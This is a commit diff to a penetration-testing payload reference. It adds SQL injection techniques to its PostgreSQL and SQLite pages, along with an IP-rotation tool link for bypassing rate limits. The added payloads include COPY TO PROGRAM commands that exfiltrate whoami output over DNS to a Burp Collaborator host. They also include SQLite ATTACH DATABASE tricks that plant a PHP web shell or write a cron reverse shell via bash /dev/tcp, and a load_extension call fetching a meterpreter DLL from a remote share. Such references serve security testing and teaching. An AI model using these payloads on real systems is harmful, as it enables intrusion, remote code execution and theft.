Skip to content

Commit ba62eed

Browse files
committed
SQLite extensions
1 parent ca50df2 commit ba62eed

File tree

3 files changed

+47
-6
lines changed

3 files changed

+47
-6
lines changed

Brute Force Rate Limit/README.md

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -14,6 +14,7 @@
1414

1515
## Tools
1616

17+
* [ZephrFish/OmniProx](https://github.com/ZephrFish/OmniProx) - IP Rotation from different providers - Like FireProx but for GCP, Azure, Alibaba and CloudFlare.
1718
* [ddd/gpb](https://github.com/ddd/gpb) - Bruteforcing the phone number of any Google user while rotating IPv6 addresses.
1819
* [ffuf/ffuf](https://github.com/ffuf/ffuf) - Fast web fuzzer written in Go.
1920
* [PortSwigger/Burp Suite](https://portswigger.net/burp) - The class-leading vulnerability scanning, penetration testing, and web app security platform.
@@ -143,3 +144,4 @@ Many cloud providers, such as Vultr, offer /64 IPv6 ranges, which provide a vast
143144
* [Bruteforcing the phone number of any Google user - brutecat - June 9, 2025](https://brutecat.com/articles/leaking-google-phones)
144145
* [Burp Intruder attack types - PortSwigger - August 19, 2025](https://portswigger.net/burp/documentation/desktop/tools/intruder/configure-attack/attack-types)
145146
* [Detecting and annoying Burp users - Julien Voisin - May 3, 2021](https://dustri.org/b/detecting-and-annoying-burp-users.html)
147+
* [OmniProx: Multi-Cloud IP Rotation Made Simple - Andy Gill - September 28, 2025](https://blog.zsec.uk/omniprox/)

SQL Injection/PostgreSQL Injection.md

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -236,7 +236,8 @@ NOTE: Earlier versions of Postgres did not accept absolute paths in `pg_read_fil
236236
Installations running Postgres 9.3 and above have functionality which allows for the superuser and users with '`pg_execute_server_program`' to pipe to and from an external program using `COPY`.
237237

238238
```sql
239-
COPY (SELECT '') to PROGRAM 'nslookup BURP-COLLABORATOR-SUBDOMAIN'
239+
COPY (SELECT '') TO PROGRAM 'getent hosts $(whoami).[BURP_COLLABORATOR_DOMAIN_CALLBACK]';
240+
COPY (SELECT '') to PROGRAM 'nslookup [BURP_COLLABORATOR_DOMAIN_CALLBACK]'
240241
```
241242

242243
```sql

SQL Injection/SQLite Injection.md

Lines changed: 43 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -84,18 +84,56 @@ AND 1337=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
8484

8585
### Attach Database
8686

87+
This snippet shows how an attacker could abuse SQLite's `ATTACH DATABASE` feature to plant a web-shell on a server:
88+
89+
```sql
90+
ATTACH DATABASE '/var/www/shell.php' AS shell;
91+
CREATE TABLE shell.pwn (dataz text);
92+
INSERT INTO shell.pwn (dataz) VALUES ('<?php system($_GET["cmd"]); ?>');--
93+
```
94+
95+
First, it tells SQLite to "treat" a PHP file as a writable SQLite database. Then it creates a table inside that file (which is actually the future web-shell). Finally it writes malicious PHP code into the file.
96+
97+
**Note:** Using `ATTACH DATABASE` to create a file comes with a drawback: SQLite will prepend its magic header bytes (`5351 4c69 7465 2066 6f72 6d61 7420 3300`, i.e., *"SQLite format 3"*). These bytes will corrupt most server-side scripts, but PHP is unusually tolerant: as long as a `<?php` tag appears anywhere in the file, the interpreter ignores any preceding garbage and executes the embedded code.
98+
99+
```ps1
100+
file shell.php
101+
shell.php: SQLite 3.x database, last written using SQLite version 3051000, file counter 2, database pages 2, cookie 0x1, schema 4, UTF-8, version-valid-for 2
102+
```
103+
104+
If uploading a PHP web shell isn’t possible but the service runs with root privileges, an attacker can use the same technique to create a cron job that triggers a reverse shell:
105+
87106
```sql
88-
ATTACH DATABASE '/var/www/lol.php' AS lol;
89-
CREATE TABLE lol.pwn (dataz text);
90-
INSERT INTO lol.pwn (dataz) VALUES ("<?php system($_GET['cmd']); ?>");--
107+
ATTACH DATABASE '/etc/cron.d/pwn.task' AS cron;
108+
CREATE TABLE cron.tab (dataz text);
109+
INSERT INTO cron.tab (dataz) VALUES (char(10) || '* * * * * root bash -i >& /dev/tcp/127.0.0.1/4242 0>&1' || char(10));--
91110
```
92111

112+
This writes a new cron entry that runs every minute and connects back to the attacker.
113+
93114
### Load_extension
94115

95-
:warning: This component is disabled by default.
116+
:warning: SQLite's ability to load external shared libraries (extensions) is disabled by default in most environments. When enabled, SQLite can load a compiled module using the `load_extension()` SQL function:
96117

97118
```sql
98-
UNION SELECT 1,load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');--
119+
SELECT load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');--
120+
```
121+
122+
In the sqlite3 command-line shell you can display runtime configuration with:
123+
124+
```sql
125+
sqlite> .dbconfig
126+
load_extension on
127+
```
128+
129+
If you see `load_extension on` (or off), that indicates whether the shell's runtime currently permits loading shared-library extensions.
130+
131+
A SQLite extension is simply a native shared library,typically a `.so` file on Linux or a `.dll` file on Windows, that exposes a special initialization function. When the extension is loaded, SQLite calls this function to register any new SQL functions, virtual tables, or other features provided by the module.
132+
133+
To compile a loadable extension on Linux, you can use:
134+
135+
```ps1
136+
gcc -g -fPIC -shared demo.c -o demo.so
99137
```
100138

101139
## SQLite File Manipulation

0 commit comments

Comments
 (0)